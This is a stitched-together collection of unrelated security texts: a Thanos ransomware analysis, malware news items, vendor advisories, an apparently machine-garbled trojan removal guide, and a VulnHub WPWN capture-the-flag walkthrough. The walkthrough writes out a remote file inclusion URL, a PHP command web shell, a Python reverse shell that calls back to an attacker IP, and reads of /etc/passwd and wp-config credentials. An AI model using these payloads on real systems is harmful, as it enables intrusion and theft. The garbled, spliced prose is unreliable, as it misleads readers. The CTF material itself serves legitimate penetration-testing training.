The ransomware starts encryption after stopping all the backup and restoring services, disabling security software, and changing the network state. The modified sample of the Thanos ransomware uses the AES encryption technique, and after encrypting files, it appends a custom extension that is unique for every malware file, unlike most other ransomware that typically append extensions based on the system. Figure 12 shows the encrypted files with the extension.
Figure 12: Encrypted Files
While encrypting the files, the ransomware drops the ransom file containing the ransom note in hta and text format. Figures 13 and 14 show the dropped files and the ransom note.
Figure 13: Dropping Ransom Note
Figure 14: Ransomware Note
It is evident that more ransomware groups will emerge in the near future. Most of the time these groups use existing ransomware with slight modifications for evading detections. We recommend these best practices for ensuring the security of sensitive data in order to mitigate losses from ransomware attacks.
Indicators of Compromise (IoC):
Here’s the list of sha256 of the files related to the recent Thanos ransomware attacks:
Organizations should implement the following best practices to strengthen the security posture of their organization’s systems.
- Check for instances of standard executables executing with the hash of another process.
- Implement multi-factor authentication (MFA), especially for privileged accounts.
- Use separate administrative accounts on different administration workstations.
- Employ Local Administrator Password Solution (LAPS).
- Allow the least privilege to employees on data access.
- Use MFA to secure Remote Desktop Protocol (RDP) and ”jump boxes” for access.
- Secure your endpoints by deploying and maintaining endpoint defense tools.
- Always keep all software up-to-date.
- Keep antivirus signatures and engines up-to-date.
- Avoid adding users to the local administrators’ group unless required.
- Implement a strong password policy and enforce regular password changes.
- Configure a personal firewall on organization workstations to deny unwanted connection requests.
- Deactivate unnecessary services on organization workstations and servers.
Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the darkweb. Cyble’s prime focus is to provide organizations with real-time visibility into their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Startups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble, visit www.cyble.com. |
Imperva Incapsula has just published new research showing that a horde of 2,398 Mirai-infected home routers across the UK are currently acting as DDoS bots. 99% of these are TalkTalk routers.
A new variant of the Mirai malware is being used to exploit a newly discovered TR-064 protocol vulnerability (which caused the mass shutdown of Deutsche Telekom routers) to hijack the routers.
The botnet devices’ geolocation is very uncommon for DDoS botnets and indicates a vulnerability in a locally distributed device, which allows for such a regional botnet to appear.
This is not only a Deutsche Telekom or TalkTalk issue. The TR-064 is commonly used by ISPs around the world and it’s very likely that millions of ISP-distributed routers are still vulnerable.
The full details are available in the blog: https://www.incapsula.com/blog/new-variant-mirai-embeds-talktalk-home-routers.html |
Brief information about Win32:Hupigon-ONX [Trj]:
Win32:Hupigon-ONX [Trj] comes under category of a Backdoor Trojan family. Study shows that this malware also will accompany alternative variants like Trojan pipette and Rootkit. Win32:Hupigon-ONX [Trj] is that the main element that will open some ports on the PC permitting remote unauthorized access. Pipette module contacts a distant server and downloads alternative malware. Moreover, it will transfer a plug-in that steals info by work key strokes from the PC. Whereas Rootkit could be a element that hides files and method in order that Trojan activity remains discreet within the system.
Win32:Hupigon-ONX [Trj] will build copies of itself within System folder of Windows. It initiates the code from that very same folder. It means that the Trojan is capable of running files under a restricted folder like ‘System32’. Next, its registers a element in Windows to act as legitimate service. Remote attacker's might use the service to achieve an access on the infected system. Once affiliation has established, attacker's will use the system for alternative unlawful means that. Lastly, it executes the last element that hides files and processes by inserting interrupt operate calls to Windows API.
Win32:Hupigon-ONX [Trj] could be a malicious Trojan infection with rootkit qualities. It means it affects the system at the essential level and it is able to stay hidden for an extended amount of your time, inflicting additional injury with on a daily basis that passes.
Rootkit technique is assortment of code, specially malicious, designed to alter access to a system that isn't allowed for an unauthorized user. The term rootkit could be a combination of "root" (This word form is related to Unix-like operative system) and therefore the word "kit" associated with code parts that implement tool. The term "rootkit" has negative impacts through its relation with malware. Attacker's once gain the access of your system means that system authority, they are going to install rootkit program in your system. Removal of rootkit program isn't straightforward to try and do as a result of it will store in core part(kernel of operative system) of your system. Solely re-installation of package is choice to get obviate rootkit.
Harmful traits of Win32:Hupigon-ONX [Trj]:
- Creeps into the compromising system while not express consent.
- Modifies system registry to confirm that it is synced with Windows loading.
- Redirects search queries to inapplicable advertising pages.
- Steals user banking account and alternative credentials for illegal purpose.
- Introduces alternative malware to more destroy the target PC.
- Occupies voluminous electronic equipment and network resources to prevent the system.
Manual Win32:Hupigon-ONX [Trj] Removal Guide
Step 1: How to Start your PC in Safe Mode with Networking to Get Rid of Win32:Hupigon-ONX [Trj]
(For Win 7 | XP | Vista Users)
- first of all PC is to be rebooted in Safe Mode with Networking
- Select on Start Button and Click on Shutdown | Restart option and select OK
- when the PC restarts, keep tapping on F8 until you don’t get Advanced Boot Options.
- Safe Mode with Networking Option is to be selected from the list.
(For Win 8 | 8.1 | Win 10 Users)
- Click on Power Button near Windows Login Screen
- Keep Shift Button on the keyboard pressed and select Restart Option
- Now Select on Enable Safe Mode with Networking Option
In case Win32:Hupigon-ONX [Trj], is not letting your PC to Start in Safe Mode, then following Step is to followed
Step 2: Remove Win32:Hupigon-ONX [Trj] Using System Restore Process
- PC need to be rebooted to Safe Mode with Command Prompt
- As soon as Command Prompt Window appear on the screen, select on cd restore and press on Enter option
Type rstrui.exe and Click on Enter again.
Now users need to Click on Next option and Choose restore point that was the last time Windows was working fine prior to Win32:Hupigon-ONX [Trj] infection. Once done, Click on Next button.
Select Yes to Restore your System and get rid of Win32:Hupigon-ONX [Trj] infection.
However, if the above steps does not work to remove Win32:Hupigon-ONX [Trj], follow the below mentioned steps
Step:3 Unhide All Hidden Files and Folders to Delete Win32:Hupigon-ONX [Trj]
How to View Win32:Hupigon-ONX [Trj] Hidden Folders on Windows XP
- In order to show the hidden files and folders, you need to follow the given instructions:-
- Close all the Windows or minimize the opened application to go to desktop.
- Open “My Computer” by double-clicking on its icon.
- Click on Tools menu and select Folder options.
- Click on the View tab from the new Window.
- Check the Display contents of the system folders options.
- In the Hidden files and folders section, you need to put a check mark on Show hidden files and folders option.
- Click on Apply and then OK button. Now, close the Window.
- Now, you can see all the Win32:Hupigon-ONX [Trj] related hidden files and folders on the system.
How to Access Win32:Hupigon-ONX [Trj] Hidden folders on Windows Vista
- Minimize or close all opened tabs and go to Desktop.
- Go to the lower left of your screen, you will see Windows logo there, click on Start button.
- Go to Control Panel menu and click on it.
- After Control Panel got opened, there will two options, either “Classic View” or “Control Panel Home View”.
- Do the following when you are in “Classic View”.
- Double click on the icon and open Folder Options.
- Choose View tab.
- Again move to step 5.
- Do the following if you are “Control Panel Home View”.
- Hit button on Appearance and Personalization link.
- Chose Show Hidden Files or Folders.
- Under the Hidden File or Folder section, click on the button which is right next to the Show Hidden Files or Folders.
- Click on Apply button and then hit OK. Now, close the window.
- Now, to show you all hidden files or folders created by Win32:Hupigon-ONX [Trj], you have successfully considered Windows Vista.
How to Unhide Win32:Hupigon-ONX [Trj] Created Folders on Windows 7
1. Go to the desktop and tap on the small rectangle which is located in the lower-right part of the system screen.
2. Now, just open the “Start” menu by clicking on the Windows start button which is located in the lower-left side of the PC screen that carries the windows logo.
3. Then after, look for the “Control Panel” menu option in the right-most row and open it.
4. When the Control Panel menu opens, then look for the “Folder Options” link.
5. Tap over the “View tab”.
6. Under the “Advanced Settings” category, double click on the “Hidden Files or Folders” associated with Win32:Hupigon-ONX [Trj].
7. Next, just select the check-box in order to Show hidden files, folders, or drives.
8. After this, click on “Apply” >> “OK” and then close the menu.
9. Now, the Windows 7 should be configured to show you all hidden files, folders or drives.
Steps to Unhide Win32:Hupigon-ONX [Trj] related Files and Folders on Windows 8
- First of all, power on your Windows PC and click on start logo button that is found in left side of the system screen.
- Now, move to program lists and select control panel app.
- When Control panel is open completely, click on more settings option.
- After, you will see a Control panel Window and then you choose “Appearance and Personalization” tab.
- In Advance settings dialogue box, you need to tick mark on Show hidden files and folders and clear the check box for Hide protected system files.
- Click on Apply and Ok button. This apply option helps you to detect and eradicate all types of Win32:Hupigon-ONX [Trj] related suspicious files.
- Finally, navigate your mouse cursor on close option to exit this panel.
How to View Win32:Hupigon-ONX [Trj] associated folders on Windows 10
1. Open the folder if you wish to unhide files.
2. Search and Click on View in Menu bar
3. In Menu click on to view folder options.
4. Again click on View and Enable Radio Button associated with Show hidden files created by Win32:Hupigon-ONX [Trj], folder and drive.
5. Press apply and OK.
Step 4: Press Start Key along with R- copy + paste the below stated command and Click on OK
- This will open up a new file, in case if your system has been hacked, some IP’s will be shown at the bottom of the screen
Click on the Start Menu, Input “Control Panel” in the search box —> Select. Network and Internet —> Network and Sharing Center —> Next Change Adapter Settings. Right-click your Internet connection —> Select on Properties.
- In case if you find Suspicious IP in the local host –or if you are finding it difficult and have any problem then submit question to us and we will be happy to help you. |
Apache CouchDB is a distributed, fault-tolerant and schema-free document-oriented database.
CouchDB does not properly sanitize the count parameter for Universally Unique Identifiers (UUID) requests.
A remote attacker could send a specially crafted request to CouchDB, possibly resulting in a Denial of Service condition.
The /_uuids handler can be disabled in local.ini with the following configuration:
[httpd_global_handlers] _uuids =
All CouchDB users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot --verbose ">=dev-db/couchdb-1.5.1" |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Multiple directory traversal vulnerabilities in Splunk 4.0 through 4.0.10 and 4.1 through 4.1.1 allow (1) remote attackers to read arbitrary files, aka SPL-31194; (2) remote authenticated users to modify arbitrary files, aka SPL-31063; or (3) have an unknown impact via redirects, aka SPL-31067.
CWE-22 - Path Traversal
Path traversal (or directory traversal), is a vulnerability that allows malicious users to traverse the server's root directory, gaining access to arbitrary files and folders such as application code & data, back-end credentials, and sensitive operating system files. In the worst-case scenario, an attacker could potentially execute arbitrary files on the server, resulting in a denial of service attack. Such an exploit may severely impact the integrity, confidentiality, and availability of an application. |
We recently received samples of a new sophisticated Trojan which targets eBay user accounts. The Trojan uses a complex, multi-stage attack method, with the final stage using the eBay developer API in an attempt to brute force account information from eBay users.
The first stage of the Trojan is initiated when a user runs a file identified by Sophos as Troj/Haoba-A. This file connects to a third party website in an attempt to find out information about the victim including their IP address. This information along with other identifying data about the victim computer is then sent to the bot server. One interesting characteristic of Troj/Haoba-A is that it downloads a different set of instructions depending on whether or not the victim is located inside the United States.
Troj/Haoba-A drops a copy of itself in the Windows system directory and adds a registry entry so that the Trojan is run every time Windows starts.
Troj/Haoba-A also has downloader functionality which retrieves a bot component from the server and installs it on the victim computer. The downloader attempts to install the bot every time the computer is run. In this way the author can update the bot version on the victim computer at a time of his or her choosing.
The bot component (identified by Sophos as Troj/Ebbot-A) contains functionality to download username and password combinations from the bot server. Using the eBay developer API over SSL, bot clients attempt to connect to eBay servers and extract user account information using the credentials provided by the bot server. The bots use a brute force technique to acquire this information. In such an attack, an assailant attempts to defeat a password scheme by trying many or all passwords for a given username.
The attack is highly distributed, with each individual bot only attempting a small number of username/password combinations. This may be in an effort to avoid detection by making a large number of connections from a single computer.
I can only speculate on what the author does with the accounts once they are compromised. Some possibilities include placing fraudulent bids and selling fake items. Whatever the motivations are, this should be a wakeup call for home users and businesses to safeguard their personal data through the use of strong passwords and to use a security suite to protect against this and all other emerging threats. |
Secure Computing Corporation Information for VU#745371
Multiple vendor telnet daemons vulnerable to buffer overflow via crafted protocol options
The telnetd vulnerability referenced is not applicable to Sidewinder as a result of disciplined security software design practices in combination with Secure Computing's patented Type Enforcement(tm) technology. Sidewinder's telnetd services are greatly restricted due to both known and theoretical vulnerabilities. This least privilege design renders the attack described in the CERT-2001-21 Advisory useless. In addition, Sidewinder's operating system, SecureOS(tm), built on Secure's Type Enforcement technology, has further defenses against this attack that would trigger multiple security violations.
Specifically, the attack first attempts to start a shell process. Sidewinder's embedded Type Enforcement security rules prevent telnetd from replicating itself and accessing the system shell programs. Even without this embedded, tamper proof rule in place, other Type Enforcement rules also defend against this attack. As an example, the new shell would need administrative privileges and those privileges are not available to the telnetd services.
The vendor has not provided us with any further information regarding this vulnerability.
The CERT/CC has no additional comments at this time.
If you have feedback, comments, or additional information about this vulnerability, please send us email. |
Rootkit infections usually result in the privileged access to the target computer, without the consent of its owner. Working in stealth mode, this specific form of malware is capable of concealing the existence of processes that allow remote access, so as to create a vulnerability and open a backdoor for attackers to steal data.
Relying on McAfee's scanning engines, Rootkit Remover is a simple tool that aims to scan any PC and detect the presence of various rootkit families, such as ZeroAccess, TDSS or Necurs.
Not an antivirus alternative, but a rootkit removal tool
Before using it, you should know that Rootkit Remover cannot substitute a permanent antivirus solution, as its detection algorithm is limited to finding traces of a few rootkit families (it cannot find other forms of malware).
In fact, you are advised to perform a full scan using a reliable security solution as soon as Rootkit Remover finishes analyzing the system. By doing so, not only that you make sure there are no leftovers of the rootkit infection, but you can also detect other dangerous files and processes.
Launch and watch it find and clean rootkit infections
Rootkit Remover does not have a standard interface; it actually launches in the command prompt, analyzing the operating system and starting the scan on the spot.
Using specific algorithms, it searches the locations where rootkits usually create files in, trying to find user-mode and kernel-mode threats and performing cleaning without even prompting the user for action.
Once the analysis is complete, you are prompted to reboot the system. This is mandatory to complete the cleaning, for Rootkit Remover to be able to get rid of hidden processes and files that still remain on the computer.
Post-infection solution with limited action
Rootkit Remover is worth trying if you suspect your PC is infected. However, its detection rate is limited to a few rootkit families, so it might not be able to completely clean up the system. To make sure the computer is malware-free at all times, it is advisable you use a permanent antivirus solution that provides real-time protection. |
Menlo identified 224 per cent increase in HEAT attacks in the last six months fuelling ransomware surge
BRACKNELL UK – Menlo Security, a leader in cloud security, today announced it has identified a surge in cyberthreats, termed Highly Evasive Adaptive Threats (HEAT) that bypass traditional security defences. HEAT attacks are a class of cyber threats targeting web browsers as the attack vector and employs techniques to evade detection by multiple layers in current security stacks including firewalls, Secure Web Gateways, sandbox analysis, URL Reputation, and phishing detection. HEAT attacks are used to deliver malware or to compromise credentials, which in many cases leads to ransomware attacks.
In an analysis of almost 500,000 malicious domains, The Menlo Security Labs research team discovered that 69 per cent of these websites used HEAT tactics to deliver malware. These attacks allow bad actors to deliver malicious content to the endpoint by adapting to the targeted environment. Since July 2021, Menlo Security has seen a 224 per cent increase in HEAT attacks.
“With the abrupt move to remote working in 2020, every organisation had to pivot to a work from anywhere model and accelerate their migration to cloud-based applications. An industry report found that 75 per cent of the working day is spent in a web browser, which has quickly become the primary attack surface for threat actors, ransomware and other attacks. The industry has seen an explosion in the number and sophistication of these highly evasive attacks and most businesses are unprepared and lack the resources to prevent them,” said Amir Ben-Efraim, co-founder and CEO of Menlo Security. “Cyber Threats are a mainstream problem and a boardroom issue that should be on everyone’s agenda. The threat landscape is constantly evolving, ransomware is more persistent than ever before, and HEAT attacks have rendered traditional security solutions ineffective.”
HEAT attacks leverage one or more of the following core techniques that bypass legacy network security defences:
● Evades Both Static and Dynamic Content Inspection: HEAT attacks evade both signature and behavioural analysis engines to deliver malicious payloads to the victim using innovative techniques such as HTML Smuggling. This technique is used by threat actors including Nobelium, the hacking group behind the SolarWinds ransomware attack. In one recent case, dubbed ISOMorph, the Menlo Labs research team observed the campaign using the popular Discord messaging app to host malicious payloads.
○ Menlo Labs identified over 27,000 malware attacks which were delivered using HTML Smuggling within the last 90 days
● Evades Malicious Link Analysis: These threats evade malicious link analysis engines traditionally implemented in the email path where links can be analysed before arriving at the user.
● Evades Offline Categorisation and Threat Detection: HEAT attacks evade web categorisation by delivering malware from benign websites, either by compromising them, or patiently creating new ones. Referred to as Good2Bad websites. Menlo Labs has been tracking an active threat campaign dubbed SolarMarker, which employs SEO poisoning. The campaign started by compromising a large set of low-popularity websites that had been categorised as benign, infecting these websites with malicious content.
○ Good2Bad websites have increased 137 per cent year-over-year from 2020 to 2021.
○ 44 per cent of Menlo Security customers have accessed a website in the past year that falls in the Good2Bad classification, however, Menlo’s patented Elastic Isolation Core™ prevented any infection from taking place.
○ The top three brands impersonated in phishing attacks are Microsoft, PayPal, and Amazon. A new phishing website imitating one of these brands is created every 1.7 minutes.
“Highly Evasive Adaptive Threat (HEAT) attacks evade existing security defences by understanding all the technology integrated into the existing security stack and building delivery mechanisms to evade detection,” said John Grady, ESG Senior Analyst. “Organisations should focus on three key tenets to limit their susceptibility to these types of attacks: shifting from a detection to a prevention mindset, stopping threats before they hit the endpoint, and incorporating advanced anti-phishing and isolation capabilities.”
For more information on HEAT, please visit our blog, “Too Hot to Handle.”
About Menlo Security
Menlo Security protects organisations from cyberattacks by eliminating the threat of malware from the web, documents, and email. Menlo Security’s isolation-powered cloud security platform scales to provide comprehensive protection across enterprises of any size, without requiring endpoint software or impacting the end user-experience. Menlo Security is trusted by major global businesses, including Fortune 500 companies, eight of the ten largest global financial services institutions, and large governmental institutions. Menlo Security is backed by Vista Equity Partners, Neuberger Berman, General Catalyst, American Express Ventures, Ericsson Ventures, HSBC, and JP Morgan Chase. Menlo Security is headquartered in Mountain View, California. For more information, please visit www.menlosecurity.com. |
Black holes were a dominant factor in 2012's cybercrime-wave, with Sophos' annual report showing how our move to mobile tech is bringing back some old enemies.
Of course, we're talking about the Blackhole exploit kit, which managed to propagate all kinds of nasties including ransomware and fake antivirus solutions along with the normal malware.
The chief problem for users was redirects – normally taking advantage of hacked legitimate sites to push people into cyber crime's back yard.
As we all go mobile with our data, and our hardware, old skool attacks are becoming more common once more; yep – we're in the era of the retro virus.
And if you happen to live in Hong Kong, Taiwan or the UAE then you are at the top of the risk tree, with Norway, Sweden, Japan and Britain statistically the safest places to surf.
"2012 was a year of new platforms and modern malware," explained Sophos.
"What was once a homogeneous world of Windows systems, is now a landscape made up of diverse platforms. Modern malware is taking advantage of these trends."
eWar! Huh! What's it good for?
The report also looked at the rise of state-sponsored cyber attacks, concluding that, although difficult to prove, the capability for countries to sanction eWar on enemies of their state is growing.
"By their very nature, state-sponsored cyber attacks (and attacks by highly-sophisticated private teams closely allied with states) are difficult to track and prove—and equally susceptible to being overhyped," said Sophos' report.
"Nevertheless, more actors appear to be developing the capability to execute such attacks. And, once they possess such a capability, the temptation to use it will be substantial." |
At this point, the exploit exploit of the vulnerability in the machine to read the user’s flag file is examined. In a broader sense, there was an iot-based vulnerability inside the vulnerable machine that exploited its information leakage. The flag key of this step and its final resolution have been tampered with to avoid potential misuse. This step is presented to you by Ali Amini of Advanced Research in #Offsec. The next step is to use Use After Free vulnerability in Linux and get the highest level of root access. |
Computers are very detailed machines that perform by set rules, codes and languages. For instance, the shoddy program I created would look for information in a particular folder however couldn’t open and entry the USB Bridge cable drive as a result of it’s not merely a drive, it’s a program. It is always helpful to set up the virus safety applications to run routinely and the individual methods or the network as an entire will be set to mechanically replace the programs which can be install together with fixes and patches as wanted.
The attacker then installs and runs a slave program at every compromised web site that quietly waits for instructions from a master applications operating, the grasp program then contacts the slave applications, instructing each of them to launch a denial-of-service assault directed at the same target host.
Before attacking a community, attackers wish to know the IP … Read More |
python-jwt is a module for generating and verifying JSON Web Tokens. Versions prior to 3.3.4 are subject to Authentication Bypass by Spoofing, resulting in identity spoofing, session hijacking or authentication bypass. An attacker who obtains a JWT can arbitrarily forge its contents without knowing the secret key. Depending on the application, this may for example enable the attacker to spoof other user’s identities, hijack their sessions, or bypass authentication. Users should upgrade to version 3.3.4. There are no known workarounds. |
In this article we present a newly discovered SOP (Same Origin Policy) security breach identified as Cross-Site History Manipulation (XSHM). SOP is the most important security concept of modern browsers. SOP means that web pages from different origins by design cannot communicate with each other. Cross-Site History Manipulation breach is based on our research findings that the client-side browser history object is not properly partitioned on a per-site basis. Manipulating browser history may lead to SOP compromising, allow bi-directional CSRF and other exploitations such as: user privacy violation, login status detection, resources mapping, sensitive information inferring, users‟ activity tracking and URL parameter stealing. |
By Robert Vamosi
An e-mail worm from Hungary is spreading false holiday cheer worldwide. Zafi.d (w32.zafi.d@mm, also known as Erkez on Symantec) is 11,745 bytes in size, with about 30KB of assembly code. It can also spread by shared network folders. Zafi.d attempts to shut down antivirus and firewall defenses on an infected computer and will open a port for remote computer access. Zafi.d does not affect Mac OS, Linux, or Unix systems. Because this worm spreads via e-mail and exposes your computer to remote access, this worm rates a 6 on the CNET/ZDNet Virus Meter.
How it works
Zafi.d arrives as e-mail, possibly from someone you know, with information similar to the following:
Subject: Re: Merry Christmas!
Message body: Happy Hollydays! :) Pamela M.
In addition to English, the message may also be in Hungarian, Spanish, Finnish, Swedish, Russian, and several other languages.
If the attached file is opened, the following will be added to the System Registry on the infected computer:
Wxp4 = "%System%\Norton Update.exe"
If the infected computer uses shared file folders, as on a network, Zafi will create a memory-resident mass-mailing worm with the name NortonUpdate.exe in those shared folders. Zafi.d also disables any antivirus and firewall protection the infected computer may have. To further frustrate its victims, Zafi will also "lock" several Windows tools, such as Task Manager and Registry Editor, to prevent manual removal of the infection. The worm has a back door that listens on port 8181.
Several antivirus software companies have updated their signature files to include this worm. This will stop the infection upon contact and in some cases will remove an active infection from your system. For more information, see Computer Associates, F-Secure, McAfee, Norman, Panda, Sophos, Symantec, and Trend Micro. |
This script is Copyright (C) 2005-2014 Tenable Network Security, Inc.
The remote web server contains two PHP scripts that are prone to
cross-site scripting attacks.
The remote host is running phpSysInfo, a PHP script that parses the
/proc entries on Linux systems and displays them in HTML.
The version of phpSysInfo installed on the remote host is affected by
multiple cross-site scripting vulnerabilities due to its failure to
sanitize user input to the 'sensor_program' parameter of 'index.php'
and the 'text[language]', 'text[template]', and 'VERSION' parameters
of 'system_footer.php'. If PHP's 'register_globals' setting is
enabled, a remote attacker can exploit these flaws to have arbitrary
script rendered in the browser of a user in the context of the
See also :
Upgrade to phpSysInfo 2.5 or later.
Risk factor :
Medium / CVSS Base Score : 4.3
CVSS Temporal Score : 3.7
Public Exploit Available : true |
Advintel cybersecurity experts: Malware operators now target exposed RDP connections to gain an initial foothold and exploit CVE-2018-8453 and CVE-2019-1069.
Kaspersky: Lazarus is targeting the Defense industry with a custom malware, dubbed ThreatNeedle. It is a backdoord
Lazarus is targeting the Defense industry with a custom malware, dubbed ThreatNeedle. It has been discovered by Kaspersky cybersecurity experts, who detected a cyber espionage campaign. The North Korea APT’s backdoor moves laterally through infected networks and extracts confidential information. So far, organizations in more than a dozen countries have been affected. The initial infection occurs through spear phishing in which targets receive emails that contain either a malicious Word attachment or a link to one hosted on company servers. Often times, the emails claimed to have urgent updates related to the pandemic and supposedly came from a respected medical center. If the malicious document is opened, the malware is dropped and proceeds to the next stage of the deployment process. Once installed, it is able to obtain full control of the victim’s device.
The cybersecurity experts: The North Korea APT’s malware moves laterally through infected networks and extracts confidential information
According the cybersecurity experts,one of the most interesting techniques in this Lazarus cyber espionage campaign is the group’s ability to steal data from both office IT networks and a plant’s restricted network. According to company policy, no information is supposed to be transferred between these two networks. However, administrators could connect to both of them to maintain these systems. The North Korea’s APT was able to obtain control of administrator workstations and then set up a malicious gateway to attack the restricted network and to steal and extract confidential data from there. |
By Jen Hyde, Freshmade
Imagine arriving home and walking to your door. You push the key into the lock and click, it swings open. Stepping inside, you feel warm. Too warm. Maybe the air is broken. You realize that's not the case when you read the message on the thermostat: Pay $100 or your temp stays at 99º.You’ve been hacked. With the rise of smart devices, hacking the Internet of Things (IoT) is becoming more attractive to bad actors. Security companies have demonstrated how Internet-connected thermostats can be hacked to gain control of other devices in your home. It’s simple, really, explains Bruce Snell, Cybersecurity and Privacy Director at Intel Security. Once criminals have your wifi access point, they have access to all your devices. All are hackable and interconnected. And cyber criminals don’t just want your credit card number. That information only goes for about $1 on the black market. Instead, they want your patterns. They want your patterns so they can build a profile to be used for identity theft or phishing. So who are these hackers?
• Nation states have the time and materials to put into hacking. • Organized crime groups use existing malware to launch attacks. • Hacktivists such as Anonymous attack systems based on a political/ideological bias. • Script kiddies don’t really have the skills, but they know how to get tools and launch attacks.
Malware and ransomware are trending up:
• Malware (viruses, trojans, etc.): up 34% over the last quarter
• Mobile malware: up 137% since last year
• Mac OS malware: up 533% in one year• Ransomware: up 120% over last year |
WPWN: 1 VulnHub capture the flag walkthrough
Please note: I have used Oracle Virtual Box to run the downloaded machine. I am using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.
What should you learn next?
What should you learn next?
Follow these steps to finish the CTF:
- Getting the target machine's IP address by running the VM
- Getting open port details by using the Nmap tool
- Enumerating HTTP service with Dirb utility
- Identifying vulnerability in WordPress
- Taking remote shell by exploiting remote code execution vulnerability
- Getting the root shell
The first step to start solving any CTF is to identify the target machine's IP address. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. The output of the command can be seen in the following screenshot. [CLICK IMAGES TO ENLARGE]
Command used: << netdiscover >>
In the above screenshot, we can see that we have identified the IP address of all the devices connected to our router, but due to security reasons, we have hidden the MAC address of my personal connected devices. Our target machine's IP address that we will be working on throughout this challenge is 192.168.1.25 (the target machine's IP address). We will be using 192.168.1.22 as the attacker IP address.
Note: The target machine's IP address may be different in your case, as it is being assigned by the network DHCP.
After getting the target machine’s IP address, the next step is to find out the open ports and services available on the machine. We will use the Nmap tool for it, as it works effectively and is available on Kali Linux. The results can be seen below.
Command used: << nmap -sV -p- 192.168.1.25 >>
The Nmap output shows two ports on the target machine that have been identified as Open. In the Nmap command, we used the "-sV" switch for version enumeration. We also used the "-p-" option for a full port scan. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. By default, Nmap conducts the scan only on known 1024 ports. So, it is especially important to conduct a full port scan during the pentest or solve the CTF for maximum results.
However, in our case, two ports have been identified as open during the scan in which port 22 is being used for SSH. Port 80 is being used for HTTP.
In the next step, we will start with the HTTP port 80.
We opened the target machine’s IP address on the browser to see the running web application. It can be seen in the following screenshot.
As we can see in the above screenshot, there is a static page with a message which says that the goal is not just to get the root shell, but we have to read the root flag to complete it. So, let us run the Dirb utility to identify the hidden folders that can be seen in the following screenshot.
Command used: << dirb http://192.168.1.25/ >>
In the above screenshot, we can see the output of the Dirb utility, which has generated a large output. We analyzed all the identified directories and found a WordPress folder. Let’s open this folder into the browser.
We can see in the screenshot that there is a WordPress website that is not properly working. In the next step, we will run a WordPress vulnerability scanner to identify vulnerabilities.
Until now, we knew that our target machine was running the WordPress website. Let’s start the WPScan, which is available on Kali Linux and is a very good tool to identify vulnerable components in WordPress websites.
Command used: << wpscan –url http://192.168.1.25/wordpress >>
In the highlighted area of the above screenshot, we can see that the scanner has identified an outdated plugin. So, let us search over Google to see any vulnerabilities and their exploit.
The first Google result shows that the plugin is vulnerable to remote code execution. We open the exploit DB URL as follows.
As per the information given on the exploit-db page, the remote execution exploit is written in Python. So, let’s download the exploit on our attacker machine by using the wget utility, which can be seen in the below screenshot.
After downloading the exploit, we tried to execute it, but the exploit was broken and was showing errors. We spent some time debugging the error, but it was taking too long. During further research, we found that the vulnerability can also be exploited manually and the manual process was already explained on another website that can be seen in the following screenshot.
As per the details given on the website, we have to craft the payload and run it remotely by including a text.
We have to create a text file where we can write the command we want to execute on our target system. After that, we have put this file on the document root, start the apache server and include it in the URL. All the used commands can be seen in the following screenshot.
- << cat >> shell.txt <pre> system (‘cat /etc/passwd’)</pre> >>
- << /etc/init.d/apache2 start >>
- << ifconfig eth0 >>
As can be seen in the above screenshot, we create a text file where we put the command to read the /etc/passwd file. Then we started the apache. After that, we crafted the complete URL which we need to run on the browser.
http://192.168.1.25/wordpress/wp-admin/admin-post.php?swp_debug=load_options HYPERLINK "http://192.168.1.25/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.22/hehe/shell.txt"& HYPERLINK "http://192.168.1.25/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.22/hehe/shell.txt"swp_url=http://192.168.1.22/hehe/shell.txt.
In the above screenshot, we can see that our command was successfully executed on the target machine and we can see the content of /etc/passwd file. We analyzed the file and got to know there is a user named "takis" available on the target machine.
So far, we can execute the static commands on our target system. Let’s put PHP code in the file so we can command it by just putting it into the URL. The code can be seen in the following screenshot.
Command used: << cat >> <pre>system($_GET[cmd])</pre> >>
We have written a PHP code which takes "get" input through the parameter "cmd" and runs it into the machine. Let’s try to run the ls command through the URL as follows:
The output of the ls command can be seen as part of the HTML page. Now, let’s create a python shell to take the shell access. The python code can be seen in the following screenshot.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.22",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
This python code will open a TCP socket and connect back to the mentioned IP address followed by the port number. Let us run this code to take the shell connection.
Command used: << nc -lvp 1234 >>
First, we started the "Netcut" listener on our attacker machine. After that, we ran the python code through the URL which provided us the reverse shell connection. Now, let’s run the id command to see the privileges of the shell.
Command used: << id >>
As we can see above, we got limited shell access, so in the next step, we will try to get the root access.
Now, let’s enumerate the target machine with these privileges and try to gain further access. We started gathering information by running "etc/issue" and "uname –a" command to identify the operating system and kernel version information. The output of the command can be seen below.
- << cat /etc/issue >>
- << uname -a >>
We tried to research the above versions over the web to find a working exploit, but nothing of substance could be found. We continued exploring the target machine further and tried to access various informational files commonly found on a Linux machine.
During this, we found some interesting information in the "wp-config.php" file, which can be seen below.
As we can see in the wp-config file, we found the database password. This could be possible that the same password was used for various logins. Let’s try this password with the user "takis," which we identified in the previous steps.
Command used: << su takis >>
The password worked successfully and now we are logged into the target machine as user "takis." We can now access more files on the target machine. We find the user flag in the "takis" user directory. The flag "user.txt" can be seen in the following screenshot.
Command used: << cat user.txt >>
We have one more flag to go, the root flag. We used "sudo –l" command to check current user privileges. It turns out that the current user has full privilege over the system. So, we used the "su" command to get root access without requiring entering any password. The result can be seen in the screenshot given below.
- << sudo -l >>
- << sudo su >>
As we can see above, we now have root access to the target machine as the same was verified by running the "id" command. Let’s find the flag file and complete the challenge.
Command used: << cat /root/root.txt >>
